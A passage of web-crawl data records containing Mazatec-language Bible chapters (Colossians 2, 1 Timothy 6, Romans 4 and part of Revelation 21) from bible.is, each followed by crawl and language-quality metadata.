1.0000077486038208}","num_words":1097,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mején‑na nga nda katasijin‑najiòn nga 'ñó tíkjaán‑tjìa̱ ra a̱'ta tsa̱jiòn ko̱ ra a̱'ta 'tse̱ jñà xi̱ta̱ ra títsa̱jna ya̱ na̱xi̱ndá Laodicea ko̱ a̱'ta 'tse̱ nga'tsì xi̱ta̱ ra kjè bexkon‑ná. 2Kií ko̱'sín tíkjaán‑tjì‑na mé‑ni nga kata'se‑la̱ nga'ñó inìma̱‑la̱, ko̱ mé‑ni nga jñà kjo̱tsjacha ra tjín‑la̱ nga jngó jngó nda katasíkítsa̱jtín mé‑ni nga nda katamakixi̱jin‑ni ya̱ kjo̱bítsjen‑la̱ nga ngi nda kjón katamachi̱ya‑la̱ jè kjoa̱'ma‑la̱ Nainá ra Na̱'ín‑ná, kjoa̱'ma ra jé kjón‑nì Cristo. 3Nga̱ ta jé Cristo ra tjín‑la̱ nga'tsì kjo̱chji̱ne̱ ko̱ kjoa̱ ra síchi̱ya‑ná ra batoó 'ñó chjí‑la̱. 4Kií ko̱'sín tíxin‑no mé‑ni nga mì yá ra sko̱ónda̱cha̱‑no nga si̱ìchjeén 'én ra ndi̱to̱n ko̱kjiín‑no ra mì tsa 'én kixi̱. 5Ni̱'sín mì tsa ya̱ tíjna̱ko̱ tsijen‑no, tanga tíbítsjen ki'ta‑na a̱'ta tsa̱jiòn ko̱ matsjaá‑na nga be nga kixi̱ titsa̱jtión ko̱ kixi̱ titsa̱jna nga kji'ta takòn jè Cristo. 6Koni 'sín nga kjokjiín‑no a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑no, 'koa̱ ti̱'sín ya̱ ti̱ma'ta‑la koni 'sín nga bakèn‑la̱ xi̱ta̱ ra ya̱ títsa̱jnajtín‑ko̱ Cristo. 7Ngi nda kjón kixi̱ katamakjiín‑no a̱'ta 'tse̱, koni jngo yá ra 'ñó na̱nga̱ fì kja̱ma̱‑la̱ ko̱ koni jngo ni'ya ra 'ñó tjín chrjó tjà'tsin nga 'nga tímihijin. Ko̱'sín isa̱ 'ñó katamakjiín-isa‑no koni 'sín nga tsakon‑ya‑no, ko̱ ko̱'tìn ki'ta‑la nga tse kjo̱nda kata'se‑la̱ Nainá. 8Nda ti̱kinda̱a ijo‑no mé‑ni nga mì jñà sko̱ónda̱cha̱‑no jñà ra ta kjo̱bítsjen ra ni̱mé chjí‑la̱ síchjeén nga chja̱ 'én ndiso. Nga̱ jñà kjo̱bítsjen kìi̱, ta ya̱á nchrabá‑ni a̱'ta 'tse̱ kjoa̱ ra ta xi̱ta̱ bínda koni 'sín tjín kjo̱téxoma‑la̱ xi̱ta̱ ra tjín i̱ i̱sà'nde, ra mì tsa ko̱'sín tjín koni 'sín tjín kjo̱téxoma 'tse̱ Cristo. 9Ya̱á 'ya ijo‑la̱ Cristo kóho'ki tíjngo kjòn‑ni ra jè saba Nainá. 10Ko̱ ya̱á majngo'táko̱ jiòn nga Cristo titsa̱jnako̱o. Nga̱ jé Cristo tíjna ítjòn‑la̱ nga'tsì nga'ñó ko̱ nga'tsì ra batéxoma ya̱ a̱jin i̱sén. 11Ko̱ a̱'ta 'tse̱‑ní nga isi'ta chi̱ba̱ jiòn koni 'sín tjín kjoa̱ 'tse̱ circuncisión, tanga jngo chi̱ba̱ ra mì tsa tsja xi̱ta̱ isi'ta‑ni, jè‑ní ra Cristo tsikí'ta chi̱ba̱‑no 'kia̱ nga jahíxìn nga'tsì jé ra tjín‑la̱ ijo jé‑no. 12'Kia̱ nga isatíndá jiòn, 'koa̱á jngoya‑la̱ koni tsa ya̱á isìhi'nde'ta‑la̱ Cristo, ko̱ 'kia̱ nga jaáya‑ila̱ Cristo ya̱á jaáya‑te‑no ra jiòn ta nga̱tjì‑la̱ nga kjokjiín‑no a̱'ta 'tse̱ nga'ñó‑la̱ Nainá ra isikjaáya‑la̱ Cristo a̱'ta 'tse̱ kjoa̱biya. 13Jiòn nga 'sa̱ ítjòn, mi'ken‑nájiòn a̱'ta 'tse̱ Nainá ta nga̱tjì‑la̱ kjoa̱ 'tse̱ jé ra tjín‑no, ko̱ ta nga̱tjì‑la̱ nga kjè kì tsa bí'ta chi̱ba̱‑no Cristo nga kjè kì tsa faháxìn jé ra tjín‑la̱ ijo jé‑no. Tanga 'ndi̱‑ni̱, Nainá, ijyeé isíkítsa̱jnakon‑no ko̱ Cristo, nga̱ nga'tsí‑ná nga ijye isìhijcha'ta‑ná nga'tsì jé ra tjín‑ná. 14'Koa̱á jngoya‑ila̱ koni tsa jè Nainá ijye isikjeheya‑ni xa̱jo̱n ra itjahítje̱n ra kondra̱ tsa̱jién, jè ra batéchjá‑ná tsiki. Jngo kjá ya̱ jahíxìn 'kia̱ nga 'ken'ta krò Cristo. 15Nainá jahíxìn ijyeé‑la̱ nga'ñó ra tjín‑la̱ jñà ra batéxoma ya̱ a̱jin i̱sén. Ya̱á kisikijne‑la̱ 'kia̱ nga jè Cristo 'ken'ta krò. Ko̱ ya̱á tsinchá masen ya̱ ngixko̱n nga'tsì xi̱ta̱, mé‑ni nga tsakón‑la̱ nga jè isikijne. 16'Koa̱á ma‑ni, kì ya̱ nisin‑la tsa yá ra kó ki̱tso̱‑no a̱'ta 'tse̱ tsajmì ra chine ko̱ mé nandá ra 'sio̱ò; ko̱ tsa mì kì nihitjasòn jiòn 'kia̱ nga bitjo 'sí, ko̱ 'kia̱ nga bitjo xi̱tse̱ india‑ni sá, ko̱ tsa mì kì 'yaxkón jiòn ni̱chjin níkjáya. 17Ta nga'tsì kjoa̱ kìi̱, 'koa̱á 'sín jngoya‑la̱ koni jñà 'ngién‑la̱ kjoa̱ ra a̱skan 'ji. Tanga ra ngi kjoa̱kixi̱, jé Cristo. 18Kì bi'nde yá ra faháxìn‑no jè kjo̱tjò ra ijye tsa̱jiòn, koni a̱'ta 'tse̱ jñà xi̱ta̱ ra mejèn‑la̱ nga ko̱'sín 'sia̱an jiòn koni 'sín 'sín ra jñà, nga bexkón ìkja̱li̱ ko̱ nda xi̱ta̱ bachrjengi ijo‑la̱, ra ko̱'sín tsò nga ya̱á sakò‑la̱ kjo̱bítsjen 'kia̱ nga batsíjen tsijen‑la̱ kjo̱xkón ra Nainá bakón; ko̱ ta kjo̱tjó‑ní nga ko̱'sín ndaá bachrjengi ijo‑la̱ a̱'ta 'tse̱ kjoa̱ ra nì mé chjí‑la̱ ra ta kjo̱bítsjen 'tse̱. 19Xi̱ta̱ kìi̱ mì tsa ya̱ tjíjngoko̱ Cristo jè ra tíjna ítjòn nga sko̱ ma. Nga̱ jé Cristo ra ma sko̱ na̱xi̱ndá‑la̱, ko̱ jé síkihijin nga tsjá‑la̱ nga'ñó, ko̱ síjngoko̱ xákjén koni 'sín nga tjíkjo ninda‑la̱ ijo‑ná ko̱ koni 'sín tjín naxá‑la̱ ra itsabajin, mé‑ni nga nda ki̱hijin‑ni koni 'sín nga ijye kiskosòn‑la̱ Nainá. 20Ijyeé ya̱ 'ken‑ko̱o jiòn Cristo, ko̱ mì tsa ti̱ ya̱ itsabá'ñó‑no jè nga'ñó ra batéxoma jè i̱sà'nde ra̱kìi̱. ¿Tanga mé‑ni takó ko̱'sín titsa̱hijyo‑no koni tsa ya̱ nakjoá‑no jè i̱sà'nde ra̱kìi̱ nga nihitjasòn kjo̱téxoma ra tsò: 21\"Kì ko̱tjín ra chaájni, kì jñà tsajmì kiòo̱ chine‑jìn, ko̱ kì ndsi̱i chjíbé‑ni\"? 22Jñà kjo̱téxoma kìi̱, ta 'tse̱é jñà tsajmì ra ta ya̱ fe 'kia̱ nga ijye machjeén; ko̱ ta xi̱ta̱á ra bínda ko̱ ra bakón‑ya. 23Jñà kjoa̱ kìi̱, 'koa̱á ma‑ná koni tsa nda tjín nga 'koa̱á 'sín bí'tin‑ná nga kínè‑lá ijo‑ná nga jcha̱xkén Nainá, ko̱ nga nda xi̱ta̱ 'sie̱én, ko̱ kó'sín nga kínè‑lá kjo̱hi'in ijo‑ná mé‑ni nga ko̱kixi̱ya‑ná. Tanga ra ngi 'én kixi̱ kjòn‑ni, ni̱ ta mé ra basìko̱‑ná kjoa̱ kìi̱ nga ma ki̱jmié kjoa̱'cho ra síjé ijo‑ná.\nColosenses 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Col\/2","date":"2013-12-07T02:10:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052995\/warc\/CC-MAIN-20131204131732-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":777,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Nainá xi chi̱'nda títsa̱jna'ñó, ndaà kàteèxkón nei‑la̱ mé‑ne nga mì yá xi ch'o ki̱chja̱jno‑la̱ Nainá ko̱ 'én xi okoòyaá i̱t'aà ts'e̱ Cristo. 2Jñà xi̱ta̱ chi̱'nda xi mokjeiín‑la̱ nei‑la̱ i̱t'aà ts'e̱ Cristo, mochjeén‑né nga ngásòn ndaà kàteèxkón nei‑la̱ nga 'ndse̱é joó i̱t'aà ts'e̱ Cristo. Ìsa̱á ndaà kàtasíxá‑la̱ nga ngásòn mokjeiín‑la̱ 'én‑la̱ Nainá ti̱koa̱ tsjakeè xíkjín. Jñà 'én koi, ta̱kóyi ti̱koa̱ ti̱nókjoa̱yi. 3Tsà tjín xi̱ta̱ xi kj'ei̱í tsò 'én xi okóya nga mì tíjngoò ikon koni tsò 'én ndaà‑la̱ Na̱'èn‑ná Jesucristo ti̱koa̱ mìkiì tíjngoò ikon i̱t'aà ts'e̱ kjo̱tíxoma koni s'ín yaxkoán Nainá. 4Xi̱ta̱ koi, xi̱ta̱ 'nga takòn‑né, ni̱mé machi̱ya‑la̱. 'Ñó tsjakeè nga ótiya‑ne 'én xi nìmé chjí‑la̱. Ya̱á nchrobát'aà‑ne nga maxìtakòn‑chaá xinguia̱á, nga bixkán‑kjoaá, nga nokjoàjno‑lá xinguia̱á 'én xi ch'o tsò, ti̱koa̱ ch'o nìkítsjeèn i̱t'aà ts'e̱ xi̱ta̱ xi kj'ei̱í. 5Ti̱koa̱á ya̱á nchrobát'aà‑ne nga kjit'aà na̱chrjein nchikjaán‑kjoò jñà xi̱ta̱ xi mì kixi̱ síkjeén kjo̱hítsjeèn‑la̱ ko̱ mì kjoa̱kixi̱ fìt'aà‑la̱. K'oa̱á s'ín síkítsjeèn, tsò‑né: tsà ndaà jcha̱xkoán Nainá, ya̱á sakó‑ná to̱n. Ngaji̱, kì k'oa̱á tjín kjoa̱ xi nìkítsjiìn. 6Kixi̱í kjoa̱, tseé kjo̱ndaà sakó‑la̱ xi̱ta̱ k'e̱ nga beèxkón Nainá tsà ti̱koa̱ tsja tjín‑la̱ ini̱ma̱‑la̱ mé xi tjín‑la̱. 7Nga ni̱mé xi kich'á k'e̱ nga kits'iaán i̱ i̱sò'nde. Ti̱koa̱á ni̱mé xi kjikoa̱á k'e̱ nga ki̱yá. 8Tsà tjín‑ná tsojmì xi chineé koa̱ tjín‑ná nikje xi chíkjá, mochjeén‑né nga tsjaá kíjngoò‑lá takoán. 9Ta̱nga jñà xi̱ta̱ xi mejèn‑la̱ kjoa̱nchi̱ná, nga mìkiì chíkjoa̱ko̱‑la̱ kjo̱hítsjeèn xi ch'o tjín nga kjìn tsojmì mejèn‑la̱, ya̱á ki̱xo̱ngui ch'a̱n koa̱ ya̱á si̱ngui'ñó. 'Ñó mejèn‑la̱ kjoa̱ xi ni̱mé chjí‑la̱ koa̱ xi ch'o síko̱‑ná, kjoa̱ xi síkits'ón xi̱ta̱ koa̱ ya̱á chi̱jajiìn. 10K'e̱ nga to̱n matsjachaá, ya̱á mats'ia̱‑ne kjoa̱ ts'e̱ jé ko̱ ngats'iì kjoa̱ xi ch'o tjín. Tjín i'nga xi̱ta̱ xi jye chinchat'aàxìn‑la̱ kjoa̱ xi mokjeiín‑ná i̱t'aà ts'e̱ Cristo jè nga̱tjì‑la̱ nga tse to̱n mejèn‑la̱. K'oa̱á s'ín ma‑ne nga ti̱jñà‑ne tse kjo̱'in tsjá‑la̱ yijo‑la̱. 11Ta̱nga ngaji̱ xi xi̱ta̱‑la̱ Nainá 'mì‑lè, ti̱si̱t'aàxìn‑la̱ ngats'iì kjoa̱ koi. Jè t'in tji̱ngui‑la̱ xi kjoa̱kixi̱. Jcha̱xkoín Nainá. Ndaà kàtakjeiín‑lè i̱t'aà ts'e̱ Cristo. Kàtas'e‑lè kjoa̱tjòcha. Kàtas'e‑lè kjoa̱tsetakòn. Indaà kjoa̱ ti̱kíjni ini̱ma̱‑lè. 12Ndaà ti̱xkàtjì kjoa̱ xi mokjeiín‑ná i̱t'aà ts'e̱ Cristo. Kì nìkíjna‑jèn ndi̱yá kixi̱ ts'e̱ kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. Nga koií xá kiìchja̱‑lè Nainá. Ngaji̱ jyeé k'oa̱s'ín ndaà kits'iì ndso̱boi nga kinìkixi̱yi 'én xi mokjeiín‑lè i̱t'aà ts'e̱ Cristo nga nguixko̱n xi̱ta̱ xi kjìn ma‑ne nga kiì'nchré. 13I̱'ndei̱ jngoò xá tìbìnè‑lè nga nguixko̱n Nainá xi síkítsa̱jnakon yije ni̱ta̱ mé xi tjín, ti̱koa̱ nguixko̱n Jesucristo xi ndaà kitsjaà tso'ba nga kisìkixi̱ya 'én ndaà‑la̱ k'e̱ nga kiìchja̱ nga nguixko̱n Poncio Pilato. 14K'oa̱á s'ín tìhotiìxoma‑lè, ndaà ti̱kitasoìn kjo̱tíxoma koi; kì nìkjatjìya‑la̱ mé‑ne nga mì yá xi ko̱chrjengui‑lè skanda k'e̱ nga kjoi̱í ìjngoò k'a Na̱'èn‑ná Jesucristo. 15K'e̱ nga ki̱jchòya na̱chrjein, Nainá, k'oa̱á s'ín si̱ìkitasòn yije kjoa̱ koi. Mé tà ndaà‑la Nainá nga jè ta̱jngoò tíhotíxoma. Jè tíjna ítjòn‑la̱ jñà xi xi̱ta̱xá ítjòn títsa̱jna ti̱koa̱ tíjna ítjòn‑la̱ jñà xi xi̱ta̱ sko̱‑la̱ títsa̱jna. 16Ta̱jngoò Nainá xi xó k'oa̱s'ín tíjna‑ne nga mìkiì biyaà. Ya̱á tíjnajiìn kjoa̱hiseèn ñánda mì yá xi ko̱ma ki̱jchò kinchat'aà‑la̱. Ni̱ sa̱á jngoò xi̱ta̱ beèxkon ni̱ mìkiì tjí'nde‑la̱ nga skoe̱xkon. Nainá, kjit'aà na̱chrjein jeya kàtìjna. Kàtayaxkón kjo̱tíxoma‑la̱ ni̱ta̱ kjé‑ne. K'oa̱s'ín kàtama. 17Jñà xi̱ta̱ nchi̱ná xi tjín i̱ i̱sò'nde, k'oa̱á s'ín tìnè‑la̱: \"Kì bí'nga‑la̱ ikon.\" Kì koií ma'ñót'aà ikon kjoa̱nchi̱ná xi tjín‑la̱ nga tà ni̱to̱n fehet'aà. Jè kàtama'ñót'aà ikon Nainá xi tíjnakon nga jè tsjá yije‑ná xi mochjeén‑ná skanda síkatonè‑la̱ mé‑ne nga ko̱ kjo̱tsja si̱kjeén tsojmì xi tsjá‑ná. 18Koa̱tìn‑la̱, kjo̱ndaà kàtas'ín. Kàtas'e‑la̱ kjoa̱nchi̱ná nguixko̱n Nainá i̱t'aà ts'e̱ kjo̱ndaà xi s'ín. Kì kjoa̱xkon fìkjaá, ko̱ ini̱ma̱‑la̱ kàtatsjá i̱tsé‑la̱ xíkjín mé xi tjín‑la̱. 19Tsà k'oa̱s'ín si̱ìkitasòn na̱chrjein i̱'ndei̱, s'e̱é‑la̱ kjoa̱nchi̱ná xi mìkiì kjoe̱het'aà k'e̱ nga jye títsa̱jna nguixko̱n Nainá. Ti̱koa̱á tjoé‑la̱ kjo̱ndaà xi nguì ts'e̱ kjoa̱binachon. 20Ngaji̱ Timoteo, ndaà ti̱kitasoìn 'én ndaà‑la̱ Nainá xi ji̱ kjònga̱tsjei. Kì kiì na'yà‑la̱ 'én ndiso xi ni̱mé chjí‑la̱. Kì kiì nìs'in‑la̱ kjoa̱ xi chitiya‑ná ts'e̱ kjoa̱chji̱ne̱ ndiso. 21Tjín i'nga xi̱ta̱ xi k'oa̱ tjín kjo̱hítsjeèn fìtji̱ngui‑la̱. K'oa̱á ma‑ne nga chinchat'aàxìn‑la̱ kjoa̱ xi mokjeiín‑ná i̱t'aà ts'e̱ Cristo. Jè kàtìjnako̱‑lè kjo̱ndaà‑la̱ Nainá.\n1 Timoteo 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6","date":"2013-12-10T00:58:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164003787\/warc\/CC-MAIN-20131204133323-00016-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":645,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¿Kó kixoán? ¿Mé kjoa̱ kixi̱ xi kisakò‑la̱ na̱'èn‑jchá‑kjiìn‑ná Abraham nga kixi̱ tsibìjna nguixko̱n Nainá? 2Na̱'èn‑jchá‑ná Abraham, tsà koií‑la kjoa̱‑la̱ nga ndaà xá xi kis'iìn nga kixi̱ tsibìjna nguixko̱n Nainá, ok'ín‑la̱ nga jeya si̱ìkíjna yijo‑la̱, ta̱nga majìn nga nguixko̱n Nainá. 3Nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n jchínga‑la̱ Nainá nga tsò: \"Abraham, jè‑né nga kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá; k'oa̱á ma‑ne nga kiskoétjò Nainá nga xi̱ta̱ kixi̱ kitsò‑la̱.\" 4Jngoò xi̱ta̱ xi síxá, jè to̱n xi tjoé‑la̱, mìtsà tà kjo̱tjò tjoé‑la̱; jè chjí‑la̱ nga síxá. 5Ta̱nga jè xi̱ta̱ xi mìtsà xá‑la̱ ma'ñót'aà takòn, ta̱nga mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá xi kixi̱ síkítsa̱jna xi̱ta̱ xi jé tjín‑la̱, xi̱ta̱ jè, Nainá k'oa̱á s'ín skoétjò nga xi̱ta̱ kixi̱ tsò‑la̱. 6Jè xi̱ta̱xá ítjòn xi ki'mì David k'oa̱á ti̱s'ín kiìchja̱ nga tsja s'e̱‑la̱ xi̱ta̱ xi Nainá kjoétjò nga xi̱ta̱ kixi̱ tsò‑la̱; Nainá mì ti̱ kinda̱ s'ín‑ne ni̱ta̱ mé xi s'ín. 7David kitsò: Mé tà ndaà‑la̱ jñà xi̱ta̱ xi jye kichàat'aà‑la̱ kjoa̱ ch'o‑la̱ ko̱ xi jye tíjtsa'ma jé‑la̱. 8Mé ta ndaà‑la̱ jñà xi̱ta̱ xi mì ti̱ kinda̱ s'ín‑ne Nainá kjoa̱ ts'e̱ jé‑la̱. 9Jè kjo̱ndaà jè, ¿a tà ts'e̱é xi̱ta̱ judío xi tjít'aà chi̱ba̱‑la̱? ¿A xi ti̱koa̱á ts'e̱‑né xi ta̱xki̱ xi̱ta̱ xi mìkiì tjít'aà chi̱ba̱‑la̱? Jye o̱kixan nga jè xi̱ta̱ jchínga Abraham, k'e̱ nga kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá, kiskoétjò‑né nga xi̱ta̱ kixi̱ kitsò‑la̱. 10¿Kós'ín komà nga kiskoétjò Nainá Abraham nga xi̱ta̱ kixi̱ kitsò‑la̱? ¿A k'e̱‑né nga jye tjít'aà chi̱ba̱‑la̱? ¿A xi k'e̱‑né nga ti̱kj'eè tjít'aà chi̱ba̱‑la̱? Majìn, k'e̱‑né nga ti̱kj'eè tjít'aà chi̱ba̱‑la̱. 11Abraham, k'e̱ nga jye kiskoétjò Nainá nga xi̱ta̱ kixi̱ kitsò‑la̱, i̱skaán kisit'aà chi̱ba̱‑la̱ koni jngoò chi̱ba̱ xi okó nga jye xi̱ta̱ kixi̱ nga kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá k'e̱ nga ti̱kj'eè tjít'aà chi̱ba̱‑la̱. K'oa̱á komà‑ne nga xi̱ta̱ jchínga kitsò‑la̱ Abraham ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá na̱s'ín mìkiì tjít'aà chi̱ba̱‑la̱. 12Abraham, ti̱koa̱á xi̱ta̱ jchínga‑la̱‑né jñà xi̱ta̱ judío xi tjít'aà chi̱ba̱‑la̱, ta̱nga mìtsà tà koií kjoa̱‑la̱ nga tjít'aà chi̱ba̱‑la̱, ti̱koa̱á koi‑né nga ya̱ tjímatji̱ngui‑la̱ nga mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá, koni s'ín kòkjeiín‑la̱ Abraham k'e̱ nga ti̱kj'eè tjít'aà chi̱ba̱‑la̱. 13Nainá, k'oa̱á s'ín kitsjaà‑la̱ tso'ba Abraham ko̱ ngats'iì xi̱ta̱ tje̱‑la̱, nga jè ko̱nga̱tsja i̱sò'nde; mìtsà koi kjoa̱‑la̱ nga Kjo̱tíxoma kisìkitasòn, jè‑né nga kòkjeiín‑la̱ koni s'ín kiìchja̱ Nainá, k'oa̱á ma‑ne nga xi̱ta̱ kixi̱ kitsò‑la̱. 14Tsà tà jñà tjoé‑la̱ kjo̱ndaà xi̱ta̱ xi síkitasòn Kjo̱tíxoma, tsà k'oa̱á s'ín tjín kjoa̱, ni̱mé‑là chjí‑la̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Nainá; ti̱koa̱á mì‑là kiì ki̱tasòn koni s'ín kitsjaà tso'ba Nainá. 15K'e̱ nga tjín Kjo̱tíxoma, kjo̱'iín sinè‑ná; ta̱nga tsà tsjìn kjo̱tíxoma, ni̱mé tjín xi ko̱tonè‑la̱ kjo̱tíxoma. 16Jñà xi̱ta̱, nga mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá tjoé‑la̱ kjo̱ndaà koni s'ín kitsjaà‑la̱ tso'ba Nainá jè Abram. Nainá tsjá kjo̱tjò kjo̱ndaà koi mé‑ne nga jcha̱‑ná nga kixi̱ kjoa̱ nga ki̱tasòn i̱t'aà ts'e̱ ngats'iì tje̱‑la̱ Abraham. Mìtsà tà jñà tjoé‑la̱ xi̱ta̱ judío xi tje̱‑la̱ Abraham nga tjín‑la̱ kjo̱tíxoma; ti̱koa̱á tjoé‑la̱ jñà xi̱ta̱ xi mìtsà xi̱ta̱ judío xi ti̱koa̱á tje̱‑la̱ Abraham ma koií kjoa̱‑la̱ nga mokjeiín‑la̱ koni s'ín kòkjeiín‑la̱ Abraham. K'oa̱á ma‑ne nga jè Abraham, xi̱ta̱ jchínga‑ná ma ngats'iaá 17nga nguixko̱n Nainá. Koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Kjìn na̱xa̱ndá xi̱ta̱ xi jye kisìnga̱tsja‑lè xi xi̱ta̱ jchínga tsò‑lè.\" Abraham, kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá xi ma‑la̱ síkjaáya‑la̱ xi̱ta̱ xi jye k'en xi ti̱koa̱ tsjá 'én‑la̱ koni tsà jye tsitasòn kjoa̱ xi kj'eè bitasòn. 18Xi̱ta̱ jchínga Abraham kòkjeiín‑la̱ koni kitsò‑la̱ Nainá; kiskoñá kjoa̱‑né na̱s'ín mìkiì tíjiìn‑la̱ kós'ín ko̱ma nga ki̱tasòn. K'oa̱á s'ín komà nga kjìn na̱xa̱ndá xi xi̱ta̱ jchínga tsò‑la̱, koni s'ín kitsjaà‑la̱ tso'ba Nainá nga kitsò‑la̱: \"K'oa̱á s'ín kjìn jchán ko̱ma tje̱‑lè.\" 19Abraham, mìkiì kjòhindaà koni s'ín kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá, na̱s'ín ko̱s'ín beè‑la̱ ikon nga mì ti̱ mé chjí‑la̱ yijo‑la̱ nga jye 'ñó xi̱ta̱ jchínga; jyeé kjo̱meè jngoò sìndo̱ nó tjín‑la̱; Sara xi chjo̱ón‑la̱, ti̱koa̱á chjo̱ón 'ndi̱‑né; mì ti̱ kiì ko̱ma s'e̱‑la̱ i̱xti. 20Abraham, mìtsà jò tsi'beé‑la̱ ikon koni s'ín mokjeiín‑la̱ 'én xi kitsjaà‑la̱ Nainá. Tà ìsa̱á 'ñó tsi'beé‑la̱ ikon nga ndaà kòkjeiín‑la̱. 'Ñó jeya kisìkíjna Nainá. 21Abraham, nguì ndaà tíjngoò ikon nga Nainá tjín‑la̱ nga'ñó nga ko̱maá‑la̱ si̱ìkitasòn yije kóho̱tjín kjoa̱ koni s'ín kitsjaà‑la̱ tso'ba. 22K'oa̱á ma‑ne Nainá, k'e̱ nga kijtseè nga ndaà mokjeiín‑la̱ Abraham, kiskoétjò nga xi̱ta̱ kixi̱ kitsò‑la̱. 23Mìtsà tà i̱t'aà ts'e̱ Abraham kitjei xo̱jo̱n jè nga Nainá kiskoétjò nga xi̱ta̱ kixi̱ tsò‑la̱. 24Ti̱koa̱á i̱t'aà tsa̱ján kitjei nga Nainá skoétjò‑ná nga ngásòn xi̱ta̱ kixi̱ ki̱tso̱‑ná koi kjoa̱‑la̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Nainá, jè xi kisìkjaáya‑la̱ Na̱'èn‑ná Jesucristo i̱t'aà ts'e̱ kjoa̱biyaà. 25Kjònga̱tsja xi̱ta̱ nga kisìk'en Jesús jè nga̱tjì‑la̱ jé‑ná; ti̱koa̱á jaáya‑la̱ mé‑ne nga kixi̱ ki̱tsa̱jnaá nguixko̱n Nainá.\nRomanos 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/4","date":"2013-12-10T13:02:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164019123\/warc\/CC-MAIN-20131204133339-00043-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":722,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kìjtseè jngoaá ngajmiì xi̱tse̱ ko̱ nangui xi̱tse̱. Jè ngajmiì xi kisijna ítjòn ko̱ nangui xi kisijna ítjòn, jyeé kichijà; ti̱koa̱á kichijà jè ndáchikon. 2Ti̱koa̱ kìjtseè jè na̱xa̱ndá tsjeè xi Jerusalén xi̱tse̱ 'mì, nga tínchrobájen ngajmiì nga nguixko̱n Nainá. K'oa̱á s'ín tíjnandaà koni jngoò chjo̱ón xi ndaà bíndaà yijo‑la̱ nga jye ki̱xan‑ko̱ x'i̱n‑la̱. 3Ki'nchrè‑la̱ 'én xi 'ñó chja̱, xi ngajmiì inchrobà‑ne, xi tsò: ―Chítsejèn‑là Ni'ya Tsjeè‑la̱ Nainá, jyeé kòbitjojen; Nainá ya̱á kíjnako̱ jñà xi̱ta̱; xi̱ta̱ na̱xa̱ndá‑la̱á ko̱ma, nga jè sobà xi Nainá ki̱tso̱‑la̱. 4Jè sobà Nainá si̱ìxìjno yije ndáxko̱n; mì ti̱ kiì s'e̱‑ne kjoa̱biyaà; mì ti̱ kiì s'e̱‑ne kjoa̱ba; mì ti̱ kiì yá ski̱ndàya‑ne; mì ti̱ kiì s'e̱‑ne xi ijòjno ijòt'aà yijo‑la̱, koi kjoa̱‑la̱ nga jye tsato kjoa̱ jchínga. 5Jè xi tíjnasòn íxi̱le̱ ts'e̱ kjo̱tíxoma, kitsò: ―Chítsejèn‑la̱, 'a̱án siìxi̱tse̱ya yije tsojmì xi tjín. I̱kjoàn kitsò‑na̱: ―Chjí, xo̱jo̱n tít'eiì jñà 'én koi; nga nguì k'oa̱á s'ín tjín nga ki̱tasòn; nguì 'én kixi̱‑né. 6I̱kjoàn kitsò‑na: ―Jyeé tsitasòn yije. 'A̱n‑ná xi tìjna̱ ítjoàn skanda tàts'en‑la̱ kjoa̱ kó nga skanda fehet'aà‑ne. 'A̱n‑ná xi tsibìts'ia̱a ko̱ xi sikjehet'aà‑na kjoa̱. Ngats'iì xi xíndá‑la̱, 'a̱án tsjaà kjo̱tjò‑la̱ nandá xi tíbitjo ya̱ i̱'nde ñánda mìkiì xìya nandá mé‑ne ko̱ma kíjnakon‑ne ini̱ma̱‑la̱ ni̱ta̱ kjé‑ne. 7Jñà xi si̱ìkijne, jñà skoé kjo̱tjò ngats'iì kjo̱ndaà koi. 'A̱án kóti̱jnakoa̱a nga Nainá ki̱tso̱‑na ko̱ jñà, i̱xti‑na̱á ko̱ma. 8Ta̱nga jñà 